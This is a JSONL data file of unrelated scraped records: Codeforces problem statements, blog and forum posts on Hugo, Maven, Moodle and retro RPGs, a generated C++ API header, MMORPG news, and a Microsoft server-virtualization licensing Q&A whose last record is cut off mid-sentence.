{"text": "3DEXPERIENCE CATIA - Hole and Thread\n💡 With this video, we are now starting to share the contents of the 3DEXPERIENCE CATIA program on our channel.\nIn this video, we will examine the topics of drilling and thread insertion and dimensioning in Part Design and Drawing applications.\n🚨 For more and more different content to come\n⬇️ We ask you to SUBSCRIBE to our channel and LIKE our videos.\n#3dexperience #catia #thread #holewizard #partdesign #drawing", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 113, "token_count_with_eod": 114, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Illustration by Drawkit\nI've recently used a nice feature in Gitlab to automatically post my articles scheduled in the future in Hugo and I share how I did it in this article.\nThis static blog uses Hugo to be generated and its repository is in Gitlab.\nI have a private repo but it doesn’t really matter for this, it could also be public.\nThe final site is hosted on Gitlab too with a custom domain. If you don’t know how to achieve this, here’s a great guide.\nThe build step\nIf you have your blog on Gitlab with Hugo, you’ll probably have a .gitlab-ci.yml file in your repository. Here’s mine for reference:\nimage: registry.gitlab.com/pages/hugo/hugo_extended:0.58.3 variables: GIT_SUBMODULE_STRATEGY: recursive test: script: - hugo except: - master pages: script: - hugo --minify artifacts: paths: - public only: - master\nThe strategy to automatically post in the future\nFirst of all you should have an article with a date in the future in Hugo. As you know, by default it won’t be rendered by Hugo when the site is generated but the file will be in the repository when you push your changes.\nRemember you can preview future posts locally with the F flag:\nhugo server -F\nAfter having that article pushed to production, go to your repository in Gitlab and click on “Schedules”, under CI/CD in the sidebar:\nOnce there, click on New Schedule and fill the data with:\nAs you can see, this is just an example and you could run it just once every day at the same time but I prefer to be more accurate with the publishing time.\nThis configuration will generate your blog in Hugo every hour. If there’s a new article that needs to be created since the last built, it’ll be included in the site.\nSome fun stats\nJust for fun, I’ve noticed that the average build time in Gitlab is 30 seconds in my case and the full generation of this blog takes around 350ms with the minify option added (to have the HTML minimized):\nP.S. This article was automatically posted by Gitlab. 😉", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 468, "token_count_with_eod": 469, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hey guys, so I'm working on a plugin which is a block. Just to get my feet in the water, I'm trying to make it so that my block displays one thing when the user has a certain capability (or is a certain user), and displays another if they are not.\nIn the first image I have attached, you can see how I am trying to do this in my block's main PHP file. Note that I have defined $context by searching for the database entry relative to my plugin, which has the ID# 52. Then if you look at the second photo, that is my access.php file and the thing you see written I've added. So how I've wanted it to work is, as you can see in photo 2, 'admin' is set to allow, however the code in photo 1 always ends up echoing false. Can someone tell me what I might be doing wrong? Also I have updated the version.php as well as upgrade.php to no avail.\nThanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 210, "token_count_with_eod": 211, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On another floor of the A.R.C. Markland-N, the young man Simon \"Xenon\" Jackson, takes a break after finishing his project early (as always). Having a lot of free time, he decides to put on his legendary hacker \"X\" instinct and fight against the gangs of the cyber world.\n\nHis target is a network of $$$n$$$ small gangs. This network contains exactly $$$n - 1$$$ direct links, each of them connecting two gangs together. The links are placed in such a way that every pair of gangs is connected through a sequence of direct links.\n\nBy mining data, Xenon figured out that the gangs used a form of cross-encryption to avoid being busted: every link was assigned an integer from $$$0$$$ to $$$n - 2$$$ such that all assigned integers are distinct and every integer was assigned to some link. If an intruder tries to access the encrypted data, they will have to surpass $$$S$$$ password layers, with $$$S$$$ being defined by the following formula:\n\n$$$$$$S = \\sum_{1 \\leq u < v \\leq n} mex(u, v)$$$$$$\n\nHere, $$$mex(u, v)$$$ denotes the smallest non-negative integer that does not appear on any link on the unique simple path from gang $$$u$$$ to gang $$$v$$$.\n\nXenon doesn't know the way the integers are assigned, but it's not a problem. He decides to let his AI's instances try all the passwords on his behalf, but before that, he needs to know the maximum possible value of $$$S$$$, so that the AIs can be deployed efficiently.\n\nNow, Xenon is out to write the AI scripts, and he is expected to finish them in two hours. Can you find the maximum possible $$$S$$$ before he returns?", "source": "cpt_codeforces", "language": "en", "token_count": 379, "token_count_with_eod": 380, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Past Fate is an open world MMORPG set in medieval fantasy world where the players freedom is the key element. Choose what you will become and explore the vast world and its continents for hidden secrets and mysteries. What is your fate?\nPast Fate launched it's second Kickstarter campaign while having open alpha online for potential backers.\npast fate - kickstarter live!\nPast Fate's Kickstarter trailer is now live. Featuring the mechanics available in our current alpha.\npast fate - kickstarter trailer is now live!\nPast Fate's Kickstarter Pre-Launch Page is up. Our open alpha will stay up for the duration of the Kickstarter campaign!\npast fate - kickstarter pre-launch is up!\nPast Fate open alpha 2 will be held from June 8th to June 15th.\npast fate - open alpha #2\nPast Fate Open Alpha Test is now live. The alpha period lasts for a week.\npast fate - open alpha test now live!\nPast Fate's Open Alpha test #1 starts on February 24th\npast fate - open alpha test\nUpdate for Past Fate that explains the PvP plans and what happens when you die inside the game.\npast fate - updates #4: pvp\nThe Kickstarter campaign for Past Fate is now up and running along with Steam Store Page.\npast fate - kickstarter and steam page is now live!\nNewest gameplay trailer of the medieval MMORPG Past Fate.\npast fate - early alpha gameplay trailer #2\nPast Fate early alpha trailer that shows the gameplay of the necromancer class.\npast fate - early alpha gameplay trailer\nPast Fate's newest update that shows and explains the newest information about the game.\npast fate - updates #3\nDevelopment diary about the development of Past Fate\npast fate updates #1\nNo news were found matching the criteria specified. We suggest you try the news list with no filter applied, to browse all available. Post news and help us achieve our mission of showcasing the best content from all developers. Join now to share your own content, we welcome creators and consumers alike and look forward to your comments.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 435, "token_count_with_eod": 436, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n * Mojang API\n * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)\n *\n * OpenAPI spec version: 2020-06-05\n *\n * NOTE: This class is auto generated by OpenAPI-Generator 3.3.4.\n * https://openapi-generator.tech\n * Do not edit the class manually.\n */\n\n/*\n * NameChange.h\n *\n * A registered name change.\n */\n\n#ifndef COM_GITHUB_ASYNCMC_MOJANG_API_CPP_RESTSDK_MODEL_NameChange_H_\n#define COM_GITHUB_ASYNCMC_MOJANG_API_CPP_RESTSDK_MODEL_NameChange_H_\n\n\n#include \"../ModelBase.h\"\n\n#include <cpprest/details/basic_types.h>\n\nnamespace com {\nnamespace github {\nnamespace asyncmc {\nnamespace mojang {\nnamespace api {\nnamespace cpp {\nnamespace restsdk {\nnamespace model {\n\n/// <summary>\n/// A registered name change.\n/// </summary>\nclass  NameChange\n    : public ModelBase\n{\npublic:\n    NameChange();\n    virtual ~NameChange();\n\n    /////////////////////////////////////////////\n    /// ModelBase overrides\n\n    void validate() override;\n\n    web::json::value toJson() const override;\n    void fromJson(const web::json::value& json) override;\n\n    void toMultipart(std::shared_ptr<MultipartFormData> multipart, const utility::string_t& namePrefix) const override;\n    void fromMultiPart(std::shared_ptr<MultipartFormData> multipart, const utility::string_t& namePrefix) override;\n\n    /////////////////////////////////////////////\n    /// NameChange members\n\n    /// <summary>\n    /// The new player name\n    /// </summary>\n    utility::string_t getName() const;\n    \n    void setName(const utility::string_t& value);\n\n    /// <summary>\n    /// Time which the name was changed in UNIX Timestamp without milliseconds. Usually absent for the first entry.\n    /// </summary>\n    int64_t getChangedToAt() const;\n    bool changedToAtIsSet() const;\n    void unsetChangedToAt();\n\n    void setChangedToAt(int64_t value);\n\n\nprotected:\n    utility::string_t m_Name;\n        int64_t m_ChangedToAt;\n    bool m_ChangedToAtIsSet;\n};\n\n}\n}\n}\n}\n}\n}\n}\n}\n\n#endif /* COM_GITHUB_ASYNCMC_MOJANG_API_CPP_RESTSDK_MODEL_NameChange_H_ */", "source": "cpt_stack_code", "language": "code", "token_count": 551, "token_count_with_eod": 552, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Re: State of Debian blends, notes and questions on debian-ezgo\n> Rewriting the PhET package hasn't started yet. I'm considering to ask if\n> University of Colorado would like to have such packages or not. At least\n> I'll get newest offline version as they have completed many new HTML5\n> simulations recently.\nWhatever you do about PhET - it should definitely not be part of the\nezgo source package but rather a separate package.\nOriginally ezgo-phet is a empty package to download a zip file in the postinst script. But the download ftp site was not stable.\nSo I'm considering to make another deb package for different languages offline version and see if it can be published from USC _OR_ from my own ezgo repository, which is mirroring to some other places everyday. Then the ezgo-phet in blends is still a meta package.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Thursday, April 26, 2007\nCan CRPGs Age Gracefully?\nMartin posted an interesting question in the RPG Forum. It's made me think a bit. I'll refer you to the thread itself for his words. But it's the old retrogaming question with an RPG twist.\nIs it possible to enjoy an older (meaning... technologically obsolete) computer RPG? He's not talking about one you've already played in the past (Scorpia's already weighed in on the question of replaying old favorites) - but maybe those old games sitting on the shelf that you keep telling yourself you are going to finish \"someday.\" Even though it's been ... well, even though those games now require DOSBox to run.\nI think the question largely has to do with the player. I mean, I'm a retrogamer. And an indie gamer. Old-school graphics don't scare me much. I mean, Aveyond, Fallout, and Avernum 4 all have nowhere near state-of-the-art graphics, but I have enjoyed all of them recently / currently. But maybe some people have a tough time conceiving of an ogre as a deadly (and entertaining) opponent unless it appears in full Oblivion-esque majesty with full shader effects, dynamic lighting, and voice acting.\nOne thing that does drive me nuts nowadays, however, is poor UI and control design. We've really learned a lot in the past two decades about designing an interface that doesn't blow chunks. Remember the old days of Ultima, when every single key on the keyboard was mapped to a command, and you had to figure out if (L)ooking at an object was sufficient, or maybe you should (I)nspect it? Or that you couldn't just use a lock, you had to (J)immy it? Or how about the early Wizardry games, where (I guess as a copy-protection technique) you had to type in the exact name of these nonsense-word spells? I think we learned some positive lessons from the advent of the game consoles here.\nWhile protoyping the controls for Frayed Knights several weeks ago, I had this \"awesome\" idea to try to use Ultima Underworld's mouse control system. I thought, \"Wow, you could do everything in that game with the mouse, none of this WASD nonsense! I wonder why nobody has done that ever since? I should try that!\"\nI tried it. It was horrible. I found it almost unplayable. Obviously, I'd done something wrong. So I booted up DOSBox, and played Ultima Underworld again. In fact, as I'd never finished Ultima Underworld 2: Labyrinth of Worlds, I wondered if I could get hooked all over again and finally finish the sequel, only 14 years after it's release. So off I went!\nIt was horrible.\nWell, okay. After a little bit of effort I started to get used to it. Still bouncing into walls and falling off bridges and stuff, but I was at least generally going in the direction I intended to go. Apparently, once upon a time many years ago I managed to get proficient enough at it that I actually enjoyed it. But after twenty minutes, I wasn't finding it to be quite like riding a bicycle. I wasn't feeling particularly inspired to jump into UU2 and see what I'd been missing all these years.\nI recall loading up Bloodstone: A Dwarven Tale - already an antique when I purchased it a massive discount in the early 90's- and being dismayed that character names were limited to five characters. Come on! Even the Apple and C-64 could do better than that, years earlier!\nAnd there are similar gripes and irritations for many of these older games. Assuming I can even get them to run. Sure, graphics can be an issue - if they are BAD. Meaning, they do not perform their function of clearly presenting the player with the information about the state of the game he needs to play. But there are legions of players for whom NetHack is perfectly reasonable (if not particularly pretty) graphics.\nThere are some modern games with cool, semi-cutting-edge graphics that can't say that. Say, when you get attacked while your camera is stuck in some corner, so you can't actually look at and properly target your opponent.\nOne thing that has (traditionally) set RPGs apart from other types of games is their independence from graphics. They've typically lagged behind the cutting edge, substituting sheer scope and depth of the game worlds for the latest eye candy. At least, this was true up through and including Diablo 2 and Baldur's Gate 2. So many of the \"retro\" RPGs weren't even intended to be cutting edge for the era in which they were released. To some degree, I think this worked to their advantage - the artists were able to focus on simplicity, elegance, and functionality rather than making compromises to appease the technology gods of the latest bells and whistles (which have now long since become obsolete).\nSo what do you think? Have you tried playing an RPG recently that was more than 7 years old? Have you FINISHED an RPG that was more than 7 years old? Can you enjoy the a new, old game?\nPOST A COMMENT IN OUR FORUMS\nLinks to this post:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1122, "token_count_with_eod": 1123, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A string is called a k-string if it can be represented as k concatenated copies of some string. For example, the string \"aabaabaabaab\" is at the same time a 1-string, a 2-string and a 4-string, but it is not a 3-string, a 5-string, or a 6-string and so on. Obviously any string is a 1-string.\n\nYou are given a string s, consisting of lowercase English letters and a positive integer k. Your task is to reorder the letters in the string s in such a way that the resulting string is a k-string.", "source": "cpt_codeforces", "language": "en", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Chief of Staff at Ntropy\nI support early stage founders and organizations to plan, organize & execute on the back-office.\nI grew up in the small college town of Sewanee, TN and have lived in NYC for the past six years.\nI'm passionate about community, music, and traveling. I'm also interested in real estate investing, DeFi & company cultures.\nIn my free time I read, write, and dream about building businesses.\nGoal - create a strong network in the startup space Goal - explore new career opportunities\nCurrently Investing in\nGive 1 - Brainstorm strong working/startup cultures Give 2 - Early stage finance & accounting Give 3 - Phish recs ;) Give 4 - Recruiting, interviewing", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This week's book giveaway is in the Performance forum. We're giving away four copies of The Java Performance Companion and have Charlie Hunt, Monica Beckwith, Poonam Parhar, & Bengt Rutisson on-line! See this thread for details.\nHow to connect to sql server using windows authentication\nKunaal A Trehan\nposted 10 years ago\nHi All I am working on a project in which finally client will download the application using web start.Since for fetching data we need to connect to SQL server.We want to use windows authentication for connecting to SQL Server. We are using hibernate to connect to DB. Can any one help me out in this issue.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm just curious, is there a way to specify that you want a string of goals run as the default goal in a maven project? Is there an equivalent to Ant's\n<project name=\"MyProject\" basedir=\".\" default=\"main\"><target name=\"main\" depends=\"clean,run\"/>?\nThere is something roughly equivalent, you CAN define a default goal or phase that will be executed if none is given in the\nBut this has to be a single phase, or goal, you can't pass multiple phases/goals (not really a problem since a phase triggers all preceding phases).\nHere is what the POM Reference writes about\nNo there is no such thing in Maven to define a default goal neither a target (which does not exist in Maven), cause you will call maven allways with a goal e.g. mvn clean or mvn package etc.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The only difference between the two versions of this problem is the constraint on $$$q$$$. You can make hacks only if both versions of the problem are solved.\n\nThomas is sailing around an island surrounded by the ocean. The ocean and island can be represented by a grid with $$$n$$$ rows and $$$m$$$ columns. The rows are numbered from $$$1$$$ to $$$n$$$ from top to bottom, and the columns are numbered from $$$1$$$ to $$$m$$$ from left to right. The position of a cell at row $$$r$$$ and column $$$c$$$ can be represented as $$$(r, c)$$$. Below is an example of a valid grid.\n\nExample of a valid grid\n\nThere are three types of cells: island, ocean and underwater volcano. Cells representing the island are marked with a '#', cells representing the ocean are marked with a '.', and cells representing an underwater volcano are marked with a 'v'. It is guaranteed that there is at least one island cell and at least one underwater volcano cell. It is also guaranteed that the set of all island cells forms a single connected component$$$^{\\dagger}$$$ and the set of all ocean cells and underwater volcano cells forms a single connected component. Additionally, it is guaranteed that there are no island cells at the edge of the grid (that is, at row $$$1$$$, at row $$$n$$$, at column $$$1$$$, and at column $$$m$$$).\n\nDefine a round trip starting from cell $$$(x, y)$$$ as a path Thomas takes which satisfies the following conditions:\n\n- The path starts and ends at $$$(x, y)$$$.\n- If Thomas is at cell $$$(i, j)$$$, he can go to cells $$$(i+1, j)$$$, $$$(i-1, j)$$$, $$$(i, j-1)$$$, and $$$(i, j+1)$$$ as long as the destination cell is an ocean cell or an underwater volcano cell and is still inside the grid. Note that it is allowed for Thomas to visit the same cell multiple times in the same round trip.\n- The path must go around the island and fully encircle it. Some path $$$p$$$ fully encircles the island if it is impossible to go from an island cell to a cell on the grid border by only traveling to adjacent on a side or diagonal cells without visiting a cell on path $$$p$$$. In the image below, the path starting from $$$(2, 2)$$$, going to $$$(1, 3)$$$, and going back to $$$(2, 2)$$$ the other way does not fully encircle the island and is not considered a round trip.\n\nExample of a path that does not fully encircle the island\n\nThe safety of a round trip is the minimum Manhattan distance$$$^{\\ddagger}$$$ from a cell on the round trip to an underwater volcano (note that the presence of island cells does not impact this distance).\n\nYou have $$$q$$$ queries. A query can be represented as $$$(x, y)$$$ and for every query, you want to find the maximum safety of a round trip starting from $$$(x, y)$$$. It is guaranteed that $$$(x, y)$$$ is an ocean cell or an underwater volcano cell.\n\n$$$^{\\dagger}$$$A set of cells forms a single connected component if from any cell of this set it is possible to reach any other cell of this set by moving only through the cells of this set, each time going to a cell with a common side.\n\n$$$^{\\ddagger}$$$Manhattan distance between cells $$$(r_1, c_1)$$$ and $$$(r_2, c_2)$$$ is equal to $$$|r_1 - r_2| + |c_1 - c_2|$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 802, "token_count_with_eod": 803, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Tree is a connected undirected graph that has no cycles. Edge cactus is a connected undirected graph without loops and parallel edges, such that each edge belongs to at most one cycle.\n\nVasya has an edge cactus, each edge of this graph has some color.\n\nVasya would like to remove the minimal number of edges in such way that his cactus turned to a tree. Vasya wants to make it in such a way that there were edges of as many different colors in the resulting tree, as possible. Help him to find how many different colors can the resulting tree have.", "source": "cpt_codeforces", "language": "en", "token_count": 124, "token_count_with_eod": 125, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a connected weighted undirected graph without any loops and multiple edges.\n\nLet us remind you that a graph's spanning tree is defined as an acyclic connected subgraph of the given graph that includes all of the graph's vertexes. The weight of a tree is defined as the sum of weights of the edges that the given tree contains. The minimum spanning tree (MST) of a graph is defined as the graph's spanning tree having the minimum possible weight. For any connected graph obviously exists the minimum spanning tree, but in the general case, a graph's minimum spanning tree is not unique.\n\nYour task is to determine the following for each edge of the given graph: whether it is either included in any MST, or included at least in one MST, or not included in any MST.", "source": "cpt_codeforces", "language": "en", "token_count": 163, "token_count_with_eod": 164, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "SERVER VIRTUALIZATIONWindows Server virtualizationMyth: “Windows Server licenses may not be reassigned within 90 days andWindows Server OEM licenses may never be reassigned, so customers may notmove virtual machines with Windows Server with Live Migration or VMotion.”Truth: The first part of the myth is essentially correct (some exceptions exist,though), but the conclusion is not. Customers who want to move a virtualmachine within their server farm must make sure that on the destination (thehost where the virtual machine will be moved to) appropriate licenses arewaiting. If for example hosts A and B are both licensed for Windows Server 2008R2 Datacenter then an unlimited number of virtual machines running WindowsServer may be running on hosts A and B. If a virtual machine running WindowsServer is now moved from host A to host B, it will “find” the required WindowsServer licenses on host B and may therefore run there. In this example, thelicenses are not being moved, so this can even be done with Windows ServerOEM licenses.\nSERVER VIRTUALIZATIONWindows Server virtualizationMyth: “Windows Server 2008 R2 Datacenter costs about the same asWindows Server 2008 R2 Enterprise, so even if you have just five virtualmachines running Windows Server, Datacenter is more cost-effectivethan Enterprise.”Truth: Unlike Windows Server 2008 R2 Enterprise, the Datacenter editionuses processor licensing and it may only be run on servers with at leasttwo processors. This limitation rules out Windows Server 2008 R2Datacenter as an option for single-processor servers. On servers withtwo or more processors the number of virtual machines and the requiredfunctionality will together determine whether Windows ServerDatacenter is more attractive than the Enterprise edition or not. On adual-processor server with five virtual machines for example, oneEnterprise plus one Standard license is the most cost-effective option.\nSERVER VIRTUALIZATIONWindows Server virtualizationMyth: “The Product Use Rights document (PUR) state that you may only runWindows Server 2008 R2 Datacenter on servers with at least two processors,so if I buy one Datacenter processor license for a single-processor server andleverage lower edition use rights in order to use Windows Server Standard orEnterprise, I can bypass this two-processor minimum.”Truth: Whenever you exercise lower edition or prior edition use rights, theoriginal product usage rights still apply. Since Windows Server 2008 R2Datacenter has a two-processor minimum, this threshold also applies ifWindows Server Standard or Enterprise is run instead of Datacenter.Myth: “The two-processor minimum for Windows Server Datacenter wasintroduced in 2008 R2.”Truth: This threshold was introduced with the release of Windows ServerDatacenter 2008, not 2008 R2. It did not exist in 2003 R2 and prior versions.\nSERVER VIRTUALIZATIONWindows Server virtualizationMyth: “A Windows Server External Connector license is needed for eachvirtual machine running Windows Server that will be used directly orindirectly by external users.”Truth: Page 32 of the March 2011 PUR states “Each external connectorlicense assigned to a server permits any number of external users toaccess instances of the server software on that server.” so all WindowsServer virtual machines running on a host can share a single ExternalConnector.\nSERVER VIRTUALIZATIONWindows Server virtualizationMyth: “Like Windows Server licenses, Windows Server External Connectorlicenses may not be reassigned.”Truth: Page 32 of the March 2011 PUR states “You may reassign externalconnector licenses to any of your servers located within the same serverfarm as often as needed. The prohibition against short-termreassignment does not apply to external connector licenses assigned toservers located within the same server farm.” This exception may be veryuseful because it means that a Windows Server virtual machine thatserves external users and runs somewhere in a server farm can take theWindows Server External Connector with it as it moves.\nSERVER VIRTUALIZATIONWindows Server virtualizationMyth: “Even if Windows Server 2008 R2 is used only as a virtualizationplatform, Windows 2008 CALs are required.”Truth: Page 30 of the March 2011 PUR states “You do not need CALs for[…] (4) any user or device accessing an instance running in a physicaloperating system environment that is used solely to (i) run hardwarevirtualization software (ii) provide hardware virtualization services (iii) runsoftware to manage and service operating system environments on thelicensed server.” This means that your customer may move his serversrunning Windows Server 2003 R2 and prior versions to virtual machineson a physical server that runs Windows Server 2008 R2 without having toupgrade his Windows 2003 CALs.\nSERVER VIRTUALIZATIONWindows Server virtualizationMyth: “Microsoft doesn’t have a free or low-cost virtualization platform.”Truth: Microsoft offers Microsoft Hyper-V Server 2008 R2 – an operatingsystem with hypervisor – as a free download. Hyper-V Server is adedicated stand-alone product, which easily plugs into customers’existing IT environments, providing live migration, cluster shared volumesupport and expanded processor and memory support for host systems.\nSERVER VIRTUALIZATIONWindows Server virtualizationQ: Litware has a single-processor six-core server with 10 virtualmachines. Choose the most cost-effective approach with which Litwareachieves compliance.A: Windows Server Enterprise costs about three times as much asWindows Server Standard, so the most cost-effective solution is 2Windows Server Enterprise plus 2 Windows Server Standard licenses.Now you might think “Why not Windows Server Datacenter?” Well, thePUR doesn’t allow the use of this edition on single processor servers.\nSERVER VIRTUALIZATIONVirtualizing SQL ServerQ: Prosecom uses ten servers with four hexa-core (6-core) processors and hasvirtualized all Windows servers. It has one SQL Server Standard virtual machine(VM) with 2 virtual processors. This VM can run anywhere and will be used bythousands of external users. Another identical VM is running as a passive fail-overserver. What will be your recommendation for SQL Server?A: A VM that is accessed by thousands of external users should be licensedthrough processor licensing because it won’t be possible to monitor the numberof SQL CALs and the cost of these CALs will exceed the cost of processor licenses.The SQL Server 2008 R2 Licensing Guide explains that customers may divide thenumber of virtual processors (2) by the number of cores per physical processor(6) and then round up this figure (2/6 1).The VM may run anywhere, so either you license all ten physical servers for SQLStandard or you use SQL Enterprise and leverage License Mobility.SQL Server Enterprise (Standard too!) offers passive fail-over rights, so you onlyneed to license the active server (1 processor license), so the correct answer is 1SQL Server 2008 R2 Enterprise processor license.\nSERVER VIRTUALIZATIONLicense MobilityQ: Prosecom has data centers in Brussels and Bangalore, ten servers perdata center, one Exchange Server 2010 Standard virtual machine (VM)and one SQL Server 2010 Enterprise VM. Both VMs may run anywhere.Which licensing solution will you suggest?A: Both Exchange Server 2010 Standard and SQL Server 2008 R2Enterprise offer License Mobility. However, this customer’s server farmexceeds four time zones, so in this instance both datacenters will need tobe licensed for Exchange and SQL. The correct answer is therefore 2Exchange Server and 2 SQL Server licenses.\nINTEGRATED SERVER MANAGEMENT SUITES DRIVESIMPLIFICATION OF MANAGEMENT THROUGHSTANDARDIZATION • Data Configuration • Protection & Management (Physical & Recovery Virtual) • Server End-To-End Compliance Monitoring •\nNEW CAPABILITIES AVAILABLE TO SERVER MANAGEMENTSUITE CUSTOMERS Previous With New Capabilities Opalis grant NEW in Dec 2009 Service Manager NEW in 1 Jul 2010 Operations Manager Operations Manager Configuration Manager Configuration Manager Data Protection Manager Data Protection Manager Virtual Machine Manager Virtual Machine Manager SMSE / SMSD SMSE / SMSD • Opalis available to SMSE / SMSD customers via a grant from Microsoft. • Service Manager Server ML will be a new component of SMSE / SMSD on 1 July 2010. • Both changes effective for Enrollment for Core Infrastructure (ECI) licenses • Excluding ECI Standard which does not include SMSE or SMSD. 15\nSERVER VIRTUALIZATIONSystem CenterQ: Which System Center products don’t require separate server licenses?A: The right to use the server portion (also known as the “console”) ofSystem Center Data Protection Manager (SCDPM) and System CenterVirtual Machine Manager (SCVMM) is granted to customers who havecorresponding Server or Client Management Licenses.Q: Why doesn’t a System Center Server Management Suite Standardexist?A: Such a suite existed in the past but has been withdrawn. However, theCIS Standard Suite does contain Standard Server Management Licensesfor SCCM, SCDPM and SCOM.\nSERVER VIRTUALIZATIONSystem CenterQ: Litware wants to manage one Windows Server host with five VMs withSystem Center Virtual Machine Manager (SCVMM) and System CenterOperations Manager (SCOM). Which Server Management Licenses(SMLs) are needed?A: SCVMM requires an SML per physical server whereas SCOM requiresan SML per managed Operating System Environment (OSE), so here 1SCVMM SML and 6 SCOM SMLs will be needed.\nEnrolment for Core Infrastructure Suites aka CIS Suites\nCORE INFRASTRUCTURE SERVER SUITES ECI: Combine suites, and upgrade over time Datacenter Enterprise Standard Server Management Suite Server Management Suite Server Management Licenses Datacenter Enterprise Standard Highly virtualized Lightly virtualized 1 virtualized instance For 2+ processor servers For 2 processor servers For 1 processor servers Only 5% more than Only 8% more than Only 15% more than Windows Server Datacenter Windows Server Enterprise Windows Server Standard\nECI COST SAVINGS The pricing example below shows the relative value and cost (Select C) of a customized 100- processor, 90 server ECI enrollment (20 Datacenter, 40 Enterprise, 40 Standard) vs. purchasing the individual components separately and to purchasing only Windows Server. $250,000 20% Only 8% more $207,524 $200,000 System $54,747 $165,681 Center $151,733 $150,000 FCS ECI Windows Windows $151,733 Mix Server $100,000 Server Only $50,000 $0 Products purchased ECI - 20/40/40 mix* WS L+SA only separately\nSERVER VIRTUALIZATIONECIQ: Is ECI also available under the Enterprise Subscription Agreement(EAS)?A: Yes, ECI is available under EA and EAS, its product description is CIS onthe pricelist.Q: Is it correct to say the SMSE is licensed per processor in ECI and perserver in other VL programs?A: That is correct. All CIS Suites are licensed per processor.Q: Is it correct to say that only the CIS Standard Suite may be obtainedfor servers with a single processor?A: Yes, that is true. The CIS Enterprise and Datacenter Suites may not beobtained for servers with a single processor.\nSERVER VIRTUALIZATIONECIQ: Do the CIS Suites include the right to install the server portion (a.k.a.“console”) of System Center Configuration Manager (SCCM), System CenterOperations Manager (SCOM) and System Center Service Manager (SCSM)?A: Yes, they do if the following restrictions are observed:• SQL Server (a prerequisite for these System Center products) must be licensed separately.• The server portion may only be deployed on servers that are licensed with a CIS Suite.This is the wording in the ECI enrollment:System Center. Enrolled Affiliate may run any number of instances of theSystem Center server software in any number of operating systemenvironments on each licensed server. Enrolled Affiliate may separate andrun instances of the server software in different operating systemenvironments on the licensed server\nSERVER VIRTUALIZATIONECIQ: If a customer standardizes on the Enterprise CAL Suite (ECAL) for allQualified Users, do the Forefront Endpoint Protection (FEP) rights thatare included in the CIS Suites add any value?A: Yes, even in such a case, ECI adds value because servers require FEPlicenses too. The March 2011 PUR clarifies this as follows:Page 93 Servers4 that access data require a device license in addition touser licenses for connecting users. […]Page 98 4For purposes of this requirement, “Servers” are devices onwhich you run server operating systems.\nSERVER VIRTUALIZATIONECIQ: Why isn’t the “CIS Suite without Windows” migration SKUs availableas true-up SKUs?A: The True-up process implies the purchasing and invoicing of a newLicense plus SA. Therefore the customer will end up paying twice for theLicense. In order to migrate a Windows Server license to a CIS Suite mid-term, an additional Supplemental CPS will be needed. Such a mid-termmigration cannot be done using a True-up SKU.\nSERVER VIRTUALIZATIONECIQ: Customers who renew SA on Windows Server plus SMSE or SMSDmay obtain CIS SA-only SKUs. What about customers who have WindowsServer SA plus SA on a System Center Server Management License (ML),e.g. an SCCM Enterprise Server ML?A: Customers with Windows Server Enterprise SA should step-up fromthe individual Server ML to SMSE. After that you can obtain CISEnterprise Suite SA.Customers who have Windows Server Datacenter SA also need to stepup from the individual Server ML to SMSE, and then need to step upfrom SMSE to SMSD (the SKU turns one SMSE to two SMSD processorlicenses). Next you can obtain the CIS Datacenter SA.\nSERVER VIRTUALIZATIONECIQ: Can our SCOM Server Management Licenses be terminated mid-termif we want to migrate from Windows Server SA to a CIS Suite using a “CISSuite without Windows Server” SKU?A: This is not a programmatic approach and will hence require BDSG orBusiness Desk approval.Q: If a customer currently pays for Windows Server L&SA and migratesto ECI mid-term, how is it possible that he pays for CIS Suite withoutWindows Server whereas he hasn’t fully paid for the Windows Serverlicense?A: If a customer uses this migration SKU, remaining payments forWindows Server L&SA will still be due through the original agreement.\nSERVER VIRTUALIZATIONECIQ: If a customer only enters into an ECI, not into an EA Enrollment orSelect (Plus) agreement, to which price level will he be entitled?A: All ECI products are assigned to the Server Pool, so the customer’sSelect (Plus) or EA server pool price level will apply to ECI. If thecustomer doesn’t have a Select (Plus) or EA for the Server Pool, then heis entitled to price level A.Q: Has the ECI threshold changed?A: Yes. Whereas in the past customers needed to place an initial order forat least 40 CIS Datacenter Suite processor licenses or at least 100processor licenses for any combination of CIS Suites, the currentminimum is 50 processor licenses for any combination of CIS Suites.\nSERVER VIRTUALIZATIONECIQ: Is a calculator available for building an ECI proposal?A: Yes. Use the ECI Pricing Estimator to generate an initial estimate athttp://eci.Q: Is it true that ECI quotes can also be created using E3 and thatquoting no longer requires BDSG involvement?A: ECI SKUs are available in E3. BDSG involvement would be required ifnon Standard CPS need to be created.Q: Customers who migrate from Windows Server with active SA to ECIusing a CIS without Windows Server SKU are credited for overlappingWindows Server SA. Which SA price will be used for calculating thiscredit?A: The Business Desk Support Group (BDSG) will calculate this credit.They will use EA price list for 